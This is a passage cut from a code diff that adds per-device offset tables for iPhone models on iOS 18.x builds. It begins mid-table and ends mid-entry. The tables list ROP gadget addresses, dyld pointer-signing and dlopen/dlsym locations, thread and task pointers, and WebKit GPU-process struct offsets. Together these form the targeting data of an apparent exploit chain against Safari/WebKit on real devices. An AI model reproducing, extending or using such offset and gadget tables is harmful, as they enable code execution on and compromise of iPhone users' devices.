ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ee7bd568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ee7bd570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ee7bd4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ee7bd578n, + ImageIO__gImageIOLogProc: 0x1ef7f8160n, + JavaScriptCore__globalFuncParseFloat: 0x19a5e52b0n, + JavaScriptCore__jitAllowList: 0x1ee93e4a0n, + JavaScriptCore__jitAllowList_once: 0x1ee93e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x2573a5e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1eeb904c8n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f21d4998n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1ec6b8818n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1ee869078n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1ee869070n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1ee869060n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1ef9844e8n, + WebProcess_ensureGPUProcessConnection: 0x198f16f90n, + WebProcess_gpuProcessConnectionClosed: 0x199862d04n, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a966f928n, + dyld__RuntimeState_vtable: 0x1f36bef48n, + // ipsw a2s (22E252 iPhone14,8): Loader-frame LR after bl withLoadersWriteLock + dyld__dlopen_from_lambda_ret: 0x1a9651594n, + // ipsw a2s: lock-park LR inside withLoadersWriteLockAndProtectedStack (+192) + dyld__withLoadersWriteLock_ret: 0x1a9652614n, + dyld__signPointer: 0x1a96591d0n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ee7a4690n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a1d2000n, + libARI_cstring: 0x218612820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23b9be870n, + libdyld__dlopen: 0x1ad454658n, + libdyld__dlsym: 0x1ad4544d4n, + libdyld__gAPIs: 0x1ee3b8000n, + libsystem_c__atexit_mutex: 0x1ee6c9958n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ee6cedc0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + 